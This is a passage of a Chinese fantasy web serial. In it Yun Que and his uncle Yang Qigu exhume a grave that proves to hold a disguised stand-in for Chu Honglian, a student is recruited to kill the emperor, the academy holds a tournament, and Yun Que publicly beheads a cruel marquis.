云缺加快脚步,来到尽头。 石壁前,云缺举起火把,随后猛然一怔。 眼前是一片光秃秃的石壁! 硕大的壁画,不翼而飞! “没了?”云缺很意外,自语道:“难道被人偷走了?” “无主之物,怎么能叫偷。”杨七古举起火把,观察着眼前的石壁。 “怎么无主,那是我的!我先发现的东西就是我的!别让我抓住那蟊贼!”云缺咬牙切齿生闷气。 “照你这么说,谁先看到月亮太阳,也可以据为己有了。”杨七古一边沿着石壁观察着,一边说道。 “太阳月亮我不管,反正石壁是我的。”云缺懊恼道。 杨七古蹲在石壁前,抓起地面的一小撮沙土,仔细看了看,道: “你的石壁,应该不是被人偷走,而是它自己溜走了。” 云缺走过去看了看,七叔手里的沙土中,有几粒明显不同的沙硕,与去年砍的那些流沙类似。 “石壁,不是寻常之物。”杨七古神色凝重,道:“你应该听过神物自晦这句话。” “听过,莫非石壁是神物?”云缺惊奇道。 “神物自晦,只是一个笼统说法,真正的含义,指的是但凡神物,都有掩盖自身的能力。”杨七古道。33qxs.m “伪装。”云缺总结出一个词。 “对,就是伪装,从这些沙硕的气息来看,能炼制出这种东西的人,恐怕不止一品。”杨七古凝重道。 “难道是儒圣佛陀那些超品强者的遗物!”云缺惊讶道。 “有这个可能,具体情况无法判断,除非找到石壁本体。”杨七古凝重的道。 “这么说,石壁上呈现的画面,有可能是曾经发生过的一幕!石壁是一种武器或者异宝,它目睹了当时的画面,于是展现出来!能单挑四位超品,那武夫究竟是什么人?”云缺震惊道。 “涉及到超品强者的消息,早已埋葬在岁月长河之下,无人可知,或许当世一品强者,才有机会触及。”杨七古感叹道。 “这下赔大发了,我的宝贝丢了!”云缺哀声道。 石壁不翼而飞,毫无线索,两人只好原路返回。 “镇上的病人,会不会是石壁离开时产生的气息变化所致。”云缺猜测道。 “很有可能,强大的异宝,自身都带有恐怖的气息,如潜渊之龙,动则风雷相随。”杨七古道。 藏石镇的怪病,就此告一段落。 临走前,云缺找到武大川,让他通知藏石镇的百姓,最近别去矿山附近,以免得病。 武大川满口答应下来。 别人说这话,肯定没人信,但云哥儿说的话,藏石镇里的百姓坚信不疑。 离开小镇,杨七古准备回百玉城。 “七叔,我这次回来,其实是专门请您老人家出山的,刑部侍郎上官鸿途为救一众属下身受重创,神魂受损,天下除了七叔,怕是无人能医治。”云缺道。 “我早已归隐,天下事,再也与我无关,庸医馆挺好,我打算在百玉城养老。”杨七古回绝道。 “回春殿的赵玉壶先生挺想你的,七叔不回去看看。”云缺道。 “你进学宫了?不错,学宫是好地方,好好修炼吧,七叔不会回去了。”杨七古道。 “你师弟天天骂你呢。”云缺道。 “随他。”杨七古道。 “墨老说当年七叔借走的傀儡一直修不好,让你赔钱。”云缺道。 “没钱。”杨七古道。 “七叔真想一直隐居啊,你的本事实在可惜了。”云缺道。 “庸人一个,只会些区区医道,有什么可惜。”杨七古道。 “不是医道可惜,而是七叔坑人的本事可惜了,听说七叔当年与漂亮女人斗法,输得好惨,后来借了傀儡去作弊才扳回一局。”云缺道。 “谁没年少轻狂过。”杨七古道。 “七叔今年有六十了吧,二十年前,你都四十岁了,还年少轻狂呢?”云缺神色古怪的道。 杨七古面不改色,昂首道:“男人至死是少年。” 云缺佩服的拱了拱手。 好一个老少年! 既然七叔死活不肯出山,云缺只能道出自己的猜测。 “其实刑部侍郎重伤,与七叔也有关联。”云缺道。 “与我有关?我又不认得他。”杨七古道。 “上官鸿途重伤,是在一次剿灭贼人的途中,对方引爆了大量硝石,造成鸿雁城大劫,想必七叔有些耳闻。”云缺道。 “最近确实听说鸿雁城出了大事,死了很多百姓。”杨七古道。 “七叔觉得那贼人,是不是该死。”云缺道。 “该死,枉杀百姓之人,都该死,何况造成如此杀戮。”杨七古道。 “犯下恶行的贼人,是红莲教的堂主,炸毁鸿雁城的幕后真凶,便是红莲教,大晋正在通缉红莲教余孽,红莲教的教主是个女人,精通毒道与蛊道,我觉得红莲教的教主,就是七叔那位红颜知己楚红莲。”云缺道。 “不可能。” 杨七古断言道:“楚红莲已经死了,我亲手所埋,单凭红莲二字,代表不了什么。” 云缺拿出驱毒香囊,道: “我护送郡主返回皇城的最后一段路,遭遇了红莲教主劫杀,我们被困在五毒大阵,红莲教主看到这香囊,发出一声轻咦,我能断定,她当时看到香囊很意外。” 杨七古沉默了下来,神色变得阴晴不定。 别看平日里一老一少经常开玩笑,但杨七古了解云缺,知道云缺不会在这种事上胡说八道。 “想要确定其实很简单,开坟验尸,挖出来看看便知真假。”云缺沉声道。 杨七古沉默了良久,点了点头,答应了下来。 云缺心疼灵石,商量道: “七叔,你境界高深,能不能用点传送法术或者遁法之类的赶路,我这法器很烧钱的,飞一次就得一千两。” “你来求人,路费当然你出。”杨七古道。 云缺没办法,放出飞鹰。 腾空之后,云缺回头看了眼藏石镇。 下次再回来,不知何年何月。 目光越过小镇,云缺看到了青狐山,看到了更远处的连绵山脉。 知远县的位置,在大晋以西,更远的西方便是十万大山。 视线尽头,无边无际的山川犹如一个个巨人般默立于地平线上,给人一种壮阔之感。 这种景色,云缺以前没见过,唯有飞行到高处才有机会得见。 不知为何,云缺觉得极远处的十万大山看起来有些压抑,阴沉沉,好似天边的一片乌云。 …… 大半天之后,飞鹰落在一座高山之巅。 山无名,但景色不错。 山下一条长河蜿蜒而过,站在山顶能看到河面上的片片风帆。 山顶立着一座石碑,简单刻着一行字。 今生知己,楚红莲之墓。 来到此地,杨七古神色凄苦,感叹道:“她的家乡没有河,她喜欢大河,喜欢河水奔腾的样子,她说大河有一种生生不息的感觉。” 云缺没去打扰七叔的回忆,但对七叔的说法有点不理解。 大晋的河流挺多的,几乎每个郡县都有,即便家附近没有大河,小河也是河啊。 知远县就有好几条小河。 一条河也没有的家乡,也不知在哪个山沟沟里。 等杨七古感慨够了,云缺开始动手挖坟。 很快棺椁出现。 打开后,云缺大失所望。 里面有尸体。 是个三十岁左右的女子,面容娇好,有些清瘦,留着乌黑的长发。 再次见到已故的知己,杨七古眼圈发红,不忍多看。 “七叔,能不能捅一刀试试,看看活的死的。” 云缺的建议,听得杨七古瞪起眼睛。 “感知过了,尸体无疑,埋上吧。” 杨七古走向一旁,带着一身落寞。 睹物思人,又何况再见红颜的尸体。 云缺叹了口气。 白忙一场。 其实用不着捅一刀,尸体肯定假不了,谁能装死一装二十年。 在坟里躺二十年,不用装,早死了。 合棺之前,云缺挽起尸体长长的袖子,看了看两只手和两只脚,大致查看一遍。 没办法,职业病。 没看出有伤口,只发现尸体右手有六根手指,是个六指儿。 重新埋好后,两人步行下山。 飞了大半天,云缺早饿了,准备去山下找点吃的。 山脚附近有个村子,住的都是渔民,别的也许没有,肯定有鱼吃。 “难怪七叔斗不过人家,人家比你多一根手指,这叫一指定乾坤。” 云缺打趣道,为了缓和七叔的心情。 杨七古苦涩的摇了摇头,抬起自己缺失了小指的手,道: “身体发肤受之父母,我已是残缺之人。” “七叔可不残缺,你那根小拇指救了百玉城无数百姓,当得上一代神医。”云缺发自肺腑的说完,解释道:“我说的不是七叔缺手指,而是你那位红颜知己多了根手指,人家一只手有六根手指,斗法肯定压你一头。” 杨七古的脚步忽然停住,疑惑道: “红莲没有六根手指,她的两只手我都牵过,均为五指。” 云缺怔住了。 “不对吧,明明是六指儿,我刚才亲眼所见,难道死人,还能长手指头?”云缺道。 两人沉默了下来,随后快步返回山顶,重新挖开坟墓。 当杨七古看到尸体右手的确有六根手指之后,神色猛然一变,惊呼道: “怎么会这样……这不是红莲的尸体!” 第177章 不会转弯 多出一根手指的尸体,让杨七古心神巨震。 他的红颜绝非六指,而尸体更不可能多长出一根手指。 尸体,不是楚红莲! 而是个冒牌货! 杨七古震惊了半晌,一时说不出话来。 云缺则就此断定,自己之前的推测,猜对了。 楚红莲,就是红莲教的教主! “七叔……” 云缺刚要开口,被杨七古抬手打断。 杨七古一语不发,从腰间一个小袋子里取出一种墨绿色的药水,将其均匀的洒在尸体脸上。 随着药水覆盖,尸体的五官发生了细微变化。 当变化结束,躺在棺椁里的女人,已经不再是原本的模样。 虽然容貌也不错,但与之前绝对不是同一个人! “易容之法……呵呵呵,我真是蠢啊,被骗了二十年……” 杨七古踉跄着跌坐在坟前,眼中有愤怒,有惊喜,但更多的,是茫然。 云缺能感受到七叔此刻的心情。 一生挚爱的红颜知己,诈死二十年,换成谁都得心神巨震,茫然愤怒。 自从尸体改变了容貌,云缺的眉峰便锁得很深。 “七叔,我与红莲教不共戴天,如果楚红莲当真是红莲教的教主,我会杀了她。”云缺声音平静的道。 杨七古沉默了良久。 最后沉沉一叹。 “如果楚红莲当真制造了鸿雁城大劫,诛杀数十万百姓,那便该死。” 杨七古站起身,望着远处的大河道:“我这一生,做了不少荒唐事,害了不少人,也救过不少人,谈不上济世悬壶,至少无愧于心,知己难求,若知己是恶魔,不要也罢。” 听完七叔这番话,云缺轻松了不少。 云缺不怕红莲教,云缺怕的是,将来有一天要与七叔为敌。 好在七叔不是个执拗之人,明事理,分善恶,或许称不上嫉恶如仇,但当世神医这四个字,七叔当得起,这也是云缺敬重七叔的地方。 返回百玉城后,杨七古与几个小徒弟交代了一番庸医馆的事宜,随后与云缺赶往天祈城。 七叔,就此出山。 楚红莲因何诈死二十年,杨七古必须弄清楚,否则死了都无法瞑目。 飞鹰腾空,载着两人回到皇城。 一来一回,两天多的时间。 进城后,云缺居然有一种陌生之感。 皇城里变热闹了。 到处张灯结彩,大红的灯笼挂得满街都是,连城墙上都有,走在街上时而能听到鞭炮声,街边到处是欢声笑语,一些顽童将家里的鞭炮偷出来,点燃后捂着耳朵跑远。 年味十足。 看到满街的红灯笼,云缺才想起来今晚是大年夜。 今天,是天祈城最热闹的一天。 白天有学宫十二殿的大比,晚上皇帝祭天,从早上一直到半夜都会热闹非凡。 “七叔,学宫在那边呢。” 云缺指了指右侧。 杨七古走的则是相反方向。 “不去学宫。” 杨七古径自来到北街一间新开没两年的小酒馆前,打量着店铺,道:“二十年前,这里是一间药铺,我们第一次相遇,就在这里。” 带着一份多年的感慨,杨七古走进小酒馆,找到店主,直言要买下酒馆。 店主一听,晃着脑袋不同意。 刚开两年,生意正愈发兴隆,怎么可能卖。 杨七古没多说废话,将一张银票放在桌上。 第178章 墨老是真的狗 百花殿,西楼前。 戴着狐脸儿面具的穹音,这两天第二次找到木安,询问云缺回没回来。 得知云缺始终不在,穹音道谢后离开。 穹音的脚步很慢,走得有漫不经心,清冷的美眸深处藏着一份疑惑。 那份疑惑,有关于几天前她听到的笑声。 很耳熟,只是当时太嘈杂,无法确定。 百花殿的众多学子都在摩拳擦掌,准备即将开始的十二殿大比,周围的学子们高声谈论着。 身边的声音,穹音充耳不闻,脑海里始终回荡着那个熟悉的笑声。 她想告诉云缺,来了西楼两次,可惜云缺始终没在。 今天该回来了吧…… 穹音散去烦乱的思绪,准备与妹妹一起去看看学宫大比的盛况。 一定会很热闹,穹音如此想着。 忽然路边林间的一件东西吸引了她的目光。 那是一个挂在树上的鬼脸面具。 被风一吹,摇摇晃晃,宛若活物。 当看到鬼脸面具的那一刻,穹音的目光骤然变冷。 她迟疑了一下,缓步走进林间。 树林深处,穹音看到了一道笔直的身影,背对着她,站在林间一片空地。 听到脚步声,林间的身影转了过来。 是个身形高大的男人,脸上带着鬼脸面具。 多年的记忆,此刻被开启,穹音仿佛回到了入狱后的那一天。 就是眼前这个神秘人,交给她一份巫修法门,承诺她如果能控制锻纸侯,就会替她穹家报仇雪恨。 穹音的目光变得复杂起来,默默站在林间。 鬼面人发出一阵低笑,沙哑道: “金蝉脱壳,瞒天过海,能无声无息逃出天牢进入学宫,你的本事不错,我们又见面了。” 穹音淡然道:“你究竟是谁。” “不用管我是谁,你只要知道我始终在帮你即可。”鬼面人沙哑道。 “天牢里的狼蛛,是你放的。”穹音道。 “是我,若非有足够的狼蛛,你又岂能这么快就达到六品宗师境。”鬼面人低笑道。 穹音的目光晃动了一下。 对方说得没错,她在昨天刚刚成功突破到六品,成为了宗师境的武者。 “你到底有什么目的。”穹音道。 “帮你复仇。” 鬼面人将手里的一个黑袋子扔给了穹音,道:“里面是一套禁军的衣服,包括身份令牌,今晚祭天,皇帝会离开皇宫抵达祖庙,十二卫禁中的左右翊卫负责护送,路上,有一名禁军会坏肚子,然后死在茅房里。” 鬼面人的声音顿了顿,面具后清冷的目光盯着穹音。 俄顷,他继续道: “今日之后,大晋会越来越乱,皇帝会越来越惜命,这是你唯一的机会,哪怕你冲进五品,甚至四品,你也绝无可能杀掉殷子受,我只能帮你到这里了,如何选择,你自己决定。” 鬼面人转身离去,消失在林间。 穹音捏着黑袋子的手,早已青筋暴起。 杀父之仇不共戴天,自从鬼面人出现的那一刻起,穹音已经没有选择的余地。33qxs.m 窈窕的身影,在林间默立了许久,许久…… …… 当云缺赶回学宫之际,十二殿大比已经开始了。 地点在学宫中心的宽敞广场。 数万学子齐聚一堂的景象,一年只有这一次。 妖山试炼虽然人也不少,但很多人其实并未参加,不少学子对猎妖不感兴趣。 但学宫大比不同。 猎妖是单纯的斩妖而已,学宫大比的内容可丰富得多,有武斗亦有文斗,还有千奇百怪的比斗项目。 比如斗棋,论道,推演,书法,打铁,驯兽,配药,布阵,斗舞,种花,烧菜。 学宫十二殿,每一殿的比斗内容都不同。 学宫大比的规则,是先从十二殿各殿比起,各殿先生决定比斗内容,决出每一殿的前三名给予奖励。 然后是十二殿大比,由大祭酒出题。 学宫所有学子包括在内,只要有人能连胜三场,即可得到一份丰富的奖励。 学宫一年一度的大比其实比较特殊。 除了各殿有前三名之外,最终的十二殿所有学子大比,不会决出名次,连胜三场就算赢家,无论多少人能连胜三场,都会得到奖励。 第179章 我喜欢你 打得一拳开,免得百拳来。 云缺一拳击杀了熊妖后,第一项考核顺利过关,同时震慑了其他挑战者。 一群演武殿学子以最快速度将自己的挑战书抢了回来。 不敢不抢。 云缺的赤炎拳,实在可怕,连七阶巅峰熊妖都能一拳击杀,他们这些七品武夫难道比熊妖还抗揍么。 赤炎拳,其实演武殿的学子有不少人都会。 但都是皮毛而已。 打出的烈焰看着不俗,威能却远远不够,能烧焦妖兽的毛皮,很难伤到妖兽本体。 而云缺这一拳,从里到外把熊妖烧了个通透! 挑战书只剩下最后一封,来自演武殿的六品学子齐御。 这家伙是个狗皮膏药,云缺想甩也甩不掉,只能放在最后再说。 第一轮考核开始后,广场上精彩纷呈。 学子们各用手段,挑战同阶妖兽。 武者靠蛮力,拳拳到肉,儒修用法术,五光十色,道门扔法器,刀剑齐飞。 最简单的要数佛门修士,金刚咒一念,妖兽纷纷痛苦嘶吼,大多不战自败。 一个时辰后,第一轮考核宣告结束。 获胜者上千人之多。 屠苏和满申得意洋洋,在云缺旁边吹嘘。 “这种考核太简单了!同阶妖兽而已,我一个能打俩头!” “最好三项考核全是打斗,我们肯定能连胜三场!” 云缺笑了笑,没说什么。 按照以往的学宫大比来看,三项考核肯定有文有武,不存在全是打斗的情况。 果然,第二项考核的内容很快出现。 几名学正拖来了几个大木箱,打开后,全是鱼! 个头儿还挺大,竖起来最小的都有半人高。 鱼是活的,噼里啪啦尾巴直甩。 第二项考核: 不许有任何伤口的情况下,在半炷香内杀掉大鱼。 得知这份考核内容后,众多学子议论纷纷,有人觉得太难了,有人则认为很简单。 屠苏和满申看着眼前的大鱼,大眼瞪小眼。 不允许有伤口,这怎么杀? 满申抓起鱼尾巴,将大鱼高高举过头顶,用力往地上一砸。 嘭一声。 大鱼没死透,鱼鳞掉了一大片。 满申还想再砸一下,结果被一名学正喝止,直接出局。 “没有伤口啊!”满申不服气。 “鱼儿掉鳞,就是伤口,掉一片鱼鳞也算输。”学正道。 满申无话可说。 人家说得没错,鱼鳞掉了,鱼儿相当于受伤。 见满申被淘汰,屠苏愁眉苦脸,盯着眼前的大鱼发愁。 “怎么宰呀,总不能闷死它吧。”屠苏嘀咕道。 “是个办法,要不你把鱼嘴巴捂住试试。”云缺打趣道。 “对呀!闷死大鱼!” 屠苏高兴得跳了起来,用自己的学子服把大鱼的头部包裹上,死死按着鱼嘴,一个劲嘟囔:“小鱼小鱼你别怪,你是桌上一盘菜,快点死吧。” 云缺看得眼睛发直。 这位还真信呐,不知道鱼是用鳃呼吸的吗? 云缺很快释然,草原上确实很少能看到鱼,尤其屠苏和满申两个武夫,估计吃鱼的时候都不带吐刺儿的,哪里知道鱼怎么呼吸。 半炷香的时间很短,一众学子各展其能,用尽手段。 用人动用法力,有人用灵符,有人异想天开挖个坑把鱼埋上,更有些聪明的学子直接架起大锅烧热水,要把鱼煮熟了。 煮熟的办法其实最好,鱼没有任何伤口还死得透透的,尤其还能吃。 但烧水的时间是个问题。 等水烧开,考核的时间也到了。 云缺用的办法最为简单直接,而且十分暴力。 一记赤炎拳。 鱼熟了。 完完整整的烤全鱼,一片鱼鳞都不少。 “好香啊!回去我也学赤炎拳!” 屠苏在旁边看得直流口水,羡慕不已。 “留着晚上吃。”云缺笑道。 学正过来确认,宣布云缺通过第二项考核,烤熟的大鱼被扔到事先准备好的大木桶里。 每个学殿前边都有个木桶,无论大鱼死没死,最后会被收集在一起,留作学子们的年夜饭。 一个学殿一大桶鱼,取个好兆头,年年有余嘛。 大年夜怎么能少了鱼。 半炷香的时间很快结束,通过考核的在三百人上下。 云缺见吴鹰也通过了第二轮考核,笑着道: “吴师兄加把劲,还剩最后一轮。” 吴鹰苦笑连连,道: “这次好险,差点失败,最初我打算用刀气杀鱼,后来看到你用赤炎拳,这才改变手段,用了拳气慢慢将大鱼震死,刀气太凌厉,肯定会伤到鱼鳞,还是你聪明啊,我觉得这次大比,又要被你压住一头喽。” “是吴师兄变通得快,反应及时。”云缺道。 说笑间,最后一项考核即将开始。 当学正说明考核内容后,所有学子全部瞪大了眼睛,一脸震惊。 包括云缺在内。 第三轮考核,实在匪夷所思。 规则是: 每个人只许说出三句话,在半炷香内要分别获得三种答复。 三种答复分别为, 我喜欢你。 我恨你。 滚。 听到这种奇葩规则,云缺算大开了眼界。 这种比试与文斗武斗都无关了,明显是比心智,比谁的应变能力强,比谁的心眼儿转得快。 像屠苏与满申那种混人,即便通过第二轮,到这也宣告结束了。 第三轮考核不是同时进行,而是通过前两轮的学子一个一个考核,当着学宫所有学子的面进行。 开始前,学正宋道理宣布禁声。 谁也不许说话。 想要提前找人配合是不被允许的,三种答复必须从不同的人口中说出来才行,而且同一学殿的学子,不可回答。 规则很清楚,最大程度避免了作弊。 “谁先来。” 宋道理环顾众人,始终黑着脸,看着就让人发怵。 别人觉得宋道理严苛,不苟言笑,云缺知道这位学正其实人挺好,就是天生一副死人脸,跟花不谢差不多。 一名演武殿的男学子出列,第一个上前。 当着全学宫的学子,此人昂首道: “我乃七品武者,家境殷实,为人仗义,喜欢打抱不平,可有人喜欢我!” 周围鸦雀无声…… 这名演武殿学子模样还算不错,一张小白脸,随着时间流逝,小白脸渐渐变红。 越来越红。 云缺在下边都能感受这位此刻的尴尬。 太丢人了! 这简直是当众处刑啊。 有人回话还好,没人吭声的话,脸都丢没了。 好在演武殿的武夫有个有点,脸皮都厚,但再厚的脸皮这时候也扛不住了。 根本没等到半炷香,站了一会儿后,演武殿学子直接下台认输。 随后引起一阵哄笑。 “这什么规则啊,太奇怪了吧!”屠苏道。 “我知道了!肯定是大祭酒想要调查学宫里的情侣,看看有多少人玩弄感情!我记得有个词儿叫屎烂了总是气!”满申道。 “是始乱终弃吧。”云缺无奈的纠正道。 现在云缺愈发感激七叔教导了自己多年,要不然自己没准就是旁边这俩货的模样。 还是得读书啊…… 云缺有点看明白了,第三轮考核的内容,寓意很深。 喜欢,代表被人欣赏。 恨,代表伤过别人的心。 滚,代表解不开的恩怨。 大祭酒出的这道考题,看似荒唐奇葩,实际上考的,是人生啊。 这时第二名学子登台。 来自道山殿。 此人文质彬彬吟了一首情诗,立刻有一个百花殿的女学子高声喊出我喜欢你。 随后此人又道出一段离别的诗句,傀儡殿的一名女学子听完后,眼中带泪的喊出我恨你。 轻而易举,得到了两个答复,那学子得意洋洋。 他是得意了,但其他男学子恨得咬牙切齿,都在心里骂着同一个词儿。 第181章 玩没玩过鬼 得知皇帝遭遇暗杀的消息,陈洲骅坐不住了。 急忙询问具体情况,但对方并不了解详情,领军卫的人只接到命令封锁城门,其他消息还没传出来。 凶手是谁,皇帝现在如何,统统不知道。 禁军走后,陈洲骅苦着脸道: “大过年也不得安宁,唉,哥儿几个回刑部吧,今晚别想睡觉了。” 皇城发生如此大案,即便用不着刑部,身为刑部的官差也得随时待命,皇帝没事还好,真要出了事,朝堂动荡,说不准会发生什么变故。 三人离开酒楼,赶往刑部。 路上,云缺始终有点想不通。 按理说红莲教不该这么快就动手,皇城附近的教徒刚被司天监清理过,再次汇聚肯定更加隐秘并且需要一段时间。 难不成,红莲教主亲自出手了? 云缺觉得近期红莲教不该如此大动干戈,分散的力量尚未集结之前,红莲教就是一盘散沙。 想要真正威胁到大晋,必须集结足够强大的兵力才行。 大军尚未集结,教主先来暗杀,难道她不怕死在皇城么? 教主一死,红莲教自然树倒猢狲散。 云缺满腹疑惑,百思不解。 到了刑部,陈洲骅等不急,去找禁军里的熟人打听情况。 一众令史围坐在大厅里等消息。 “除了红莲教,没人有这么大的胆子刺王杀驾,这群家伙简直疯了,城门一封,不管他们有多少人,全都得被挖出来。”吴鹰道。 “会不会是邵武国派来的杀手?璇玉郡主之死,人家来报仇了。”一名年轻的令史道。 “不太可能,太子刚刚启程,目的就是稳住邵武国。”另一名中年令史道。 “大不了开战!邵武国抢了天门关,随时都有可能长驱而入,与其养虎为患,不如先下手为强,不夺回天门关,大晋以东永远开了个豁口。”吴鹰道。 “太子若到了邵武国,天门关就会还回来了吧,难道邵武国还会占着不给?”年轻的令史道。 “还?你想得太天真了,人家占了你家院门,进可攻退可守,岂能轻易归还。”吴鹰道。 “是啊,天门关是兵家重地,邵武国抢了天门关,怕是赶不走喽。”中年令史道。 刑部众人对于大晋新一年的局势,大多不太乐观。 邵武国的威胁,始终存在,只是大晋的繁华令人们忘却了这份危险。 云缺听着众人的议论,没说话。 殷子受登基得太过容易,皇位对他而言简直如天上掉馅饼。 然而越是轻易得来的东西,越容易轻易失去。 殷子受的心机很深。 接收前朝官员彰显胸襟,暗中培养灵芸郡主增加名望,私下里掌握暗卫剔除异己,从这几点即可印证。 但殷子受的眼光不行,没有真正的雄才大略。 邵武国夺走了天门关,皇帝只将太子送过去就以为平息了事态,根本没派遣重兵增援边军。 邵武国现在是没动,可一旦人家动了呢。 大晋将瞬间战火四起。 皇帝还不如牧青瑶,灵芸郡主对天下格局看得比殷子受清楚得多,云缺在心里如此想着。 想起牧青瑶,云缺开始盼望着天亮。 这时候,牧青瑶应该破境成功了,明天再见面,就能看到一位七品境界的小郡主。 一个时辰之后,陈洲骅回来了。 “怎么样陈大人,有消息了吗?”一名令史急急问道。 “打听清楚了,有惊无险,陛下没事。”陈洲骅落座后喝了一大杯茶水。 “凶手抓到了么。”云缺问道。 “凶手当场被击杀,陛下身边肯定不缺高手。”陈洲骅抹了把嘴角的茶水,神色古怪的道:“你们猜猜那凶手是谁?居然是鬼!” 第182章 若有来世嫁你为妻 云缺的问题,听得琴寿一愣,下意识的脱口道: “没玩过……” 话没说完,琴寿看到云缺的身影晃了下,下一刻竟到了面前。 嘭! 云缺一把掐住琴寿的脖子,将其提了起来。 “那就玩一玩好了,鬼这东西有点特殊,活人玩不成,只有成为鬼,你才玩得到。”云缺声音冷漠的道。 琴寿两脚离体,拼命挣扎,说不出话来。 “大胆!” “放开侯爷!” “你敢伤侯爷一根汗毛,死罪难逃!” 一众护院纷纷大喝,齐齐出手,几十把刀剑朝着云缺斩来。 下一刻,一片血色的刀光炸起! 骨碌!骨碌!骨碌! 一颗颗人头滚落满地! 几十名护卫,在瞬间被齐齐斩杀。 鲜血铺满了地面,宛若小河一般。 云缺一手提着琴寿,一手扛起穹音的尸体,转身走向侯府大门。 无人敢拦! 云缺此刻的身影,犹如来自地府的死神,无需出刀,浑身的煞气足以令人心惊胆寒。 离开侯府,云缺将穹音的尸体放在角落,拖死狗般拎着琴寿走上街头。 鞭炮阵阵的长街上,有着许多百姓,人们很快发现了与大年夜格格不入的身影。 云缺的身后,聚集起越来越多围观的人群。 有人认出了琴寿,指指点点。 “那不是锻纸侯么!怎么被人拖着走?” “肯定犯事儿了,游街呢!” “活该!琴寿这个畜生也有今天!” “几年前我三叔家的闺女被锻纸侯买去做丫鬟,一个月后尸体送了出来,浑身淤青不知被打了多久,活活给折磨死的!” “我家邻居几年前夫妻俩去世,留下个小丫头被人牙子送去了锻纸侯府上,过了几天偷偷逃回家,人变得呆愣愣的,有点声音就吓得大哭,后来又被侯府的人抓了回去,几年来再也没见过那丫头。” “不用问,肯定被折磨死了!满皇城的人谁不知道锻纸侯府上的客人全是人牙子,专门贩卖半大孩子进侯府,那是侯府么?那是人间炼狱!” “这畜生简直罪大恶极,他怎么还能活在人间呢?” “有人撑腰呗,人家可是皇帝眼前的红人儿!” “嘘!小点声,这话别在外面说啊,容易掉脑袋!” “怕什么!琴寿作恶多端,不知害死了多少人,难道还不让说了?这种蛀虫早晚把大晋毁了!” “早该宰了这种人渣!他多活一天,老天就多瞎一天!” 百姓的议论,逐渐形成了群情激昂。 锻纸侯的恶名,在坊间众所周知,可惜没人敢动琴寿,人家不仅是侯爷的身份,还有皇帝在背后撑腰。 今天琴寿被人拖着游街,百姓们觉得出了口恶气。 云缺一路前行,走到长街尽头一座金碧辉煌的门楼之下。 门楼上雕刻着一条飞龙,惟妙惟肖。 这里,是伏妖阵的阵基之一。 高高屹立,威武而庄严。 四方金龙伏妖大阵,不仅守护着满城百姓不被妖邪所伤,亦是皇权的一种体现。 伏妖大阵属于皇帝。 伏妖大阵守护百姓。 换而言之,皇帝在庇护苍生。 云缺抬起头,望着高大的牌楼,嘴角始终噙着淡淡的冷笑。 随后纵身而起! 几个跳跃,站在了牌楼的顶端,那颗龙首之上。 牌楼附近,聚集了数千百姓,人们惊讶不已,不知云缺跳上牌楼有何用意。 尤其还把锻纸侯给带了上去。 云缺将掐住琴寿的手,松开了几分,让对方能开口说话。 “你、你想怎样!你敢碰我一根汗毛,陛下会诛你九族!”琴寿脸色铁青的道。 “你不是喜欢惨烈么,我成全你。” 云缺抓着琴寿的头发,将其探出牌楼,冷笑道:“惨绝人寰的惨,轰轰烈烈的烈,你今天将体会到惨烈的真正含义,既惨绝人寰,又轰轰烈烈!” 云缺的另一只手从背后抽出毒牙刀。 “你、你敢!陛下不会放过你!”琴寿惊悚万分,疯狂挣扎道:“别、别杀我!饶了我,我给你银子!无数的银子!你想要多少开个价啊!” 云缺嘴角一挑,冷声道: “我只要你的命。” 咔嚓!!! 当着数千百姓的面,一刀,将锻纸侯的人头斩下! 扑通! 尸体从牌楼掉落在地,发出一声闷响。 牌楼上,云缺举着人头,血迹滴落在地,虽然声音不大,却仿佛盖过了满城的鞭炮声。 刀斩王侯! 周围看到这一幕的百姓目瞪口呆,震撼不已。 有人发出惊呼,有人四散奔逃,有人瘫软在地,有人不断咒骂着琴寿。 云缺望着脚下的牌楼,喃喃低语: “伏妖阵啊伏妖阵,城里有妖,你为何不杀呢,既然你不伏妖,那么……我来斩妖!” 大年夜。 云缺踩在代表着皇权的牌楼之上,目光冷冽如刀。 世上妖物无数,千奇百怪,有的妖居于深山,有的妖藏于大泽,有的妖挖地为洞,有的妖栖树为家,这些妖物凶猛又狡诈,以人为食,以血肉为生。 还有一种最阴险的妖,踪迹难寻,无人可窥,它们不吃人,却能害得无数人家破人亡妻离子散。 这种妖,长在人心里。 身为猎妖之人,斩妖,是云缺的习惯。 亦是执念。 只要被云缺认定为妖,那么下场就只有一个。 斩尽! 杀绝! 琴寿的人头,被挂在了东街巨大的牌楼之上,鲜血渐渐染红了牌楼上的龙头。 仿佛那头龙,正在无声而泣。 云缺带着穹音的尸体,来到空荡荡的刑部地牢。 穹音当初所在的牢房里,云缺挖了一个大坑,将穹音埋葬于此。 火光闪烁。 一张欠条燃烧起来。 火光下,云缺的脸庞忽明忽暗。 “我与你在这里相识,就把你埋在这里,天牢挺好的,阴魂不少,不会寂寞。” “你死了还有人埋,不知我死的时候,有没有人埋。” “世上的妖真多啊,怎么杀也杀不完,真让人苦恼。” “不过没关系,只要刀没断,我会一直斩下去,斩到天下无妖为止。” 填平坟墓,云缺最后看了眼这间熟悉的牢房,转身离去。 回到百花殿,云缺找到穹舞。 穹舞的眼眸里藏着一份羞涩,白天的那句我喜欢你,让她现如今还心儿乱跳。 “姐姐给你的信,她出门有些事要处理,让我把信交给你。” 穹舞将一封信递给了云缺。 “她说没说去了何处。”云缺道。 “没有,姐姐只说是一点小事,最迟一两天就会回来。”穹舞道。 “她不会再回来,穹音死了。” 云缺走回西楼,留下穹舞愣愣的站在原地。 不久后,身后传来哭声。 云缺没回头,直接回西楼睡觉。 躺在床榻上,云缺怎么也睡不着。 明天大朝会,斩杀锻纸侯的事肯定没完。 皇帝会不会暴怒,云缺不在乎。 让他睡不着的,是穹音留下的信。 “人都死了,留什么信呐,多此一举,害得我睡不踏实。” 云缺懊恼不已,打算将信扔进火炉。 但捏着信的手指,迟迟未能松开。 看了眼上面云缺亲启四个字,云缺叹了口气,拆开信。 一行行秀气的字迹映入眼帘。 见字如面: 云缺,当你看到这封信的时候,我应该已经不在人间,不必为我难过,这是我自己的选择。 自从父母被晋皇所杀,我便知道自己的命运,我必须成为一名战士,悍不畏死的战士,我要保护妹妹,也要替家人复仇。 如今,穹舞身在学宫,她已经足够安全,我剩下唯一的执念,只有复仇。 云缺,你知道吗,生死离别其实有很多种,最让人无法忘怀的,是眼睁睁看着父母走向绝路,你却无能为力,那种感觉,是我一生的梦魇。 当父母惨死在天门关外的那一刻,我便发誓,这一生只为复仇而活。 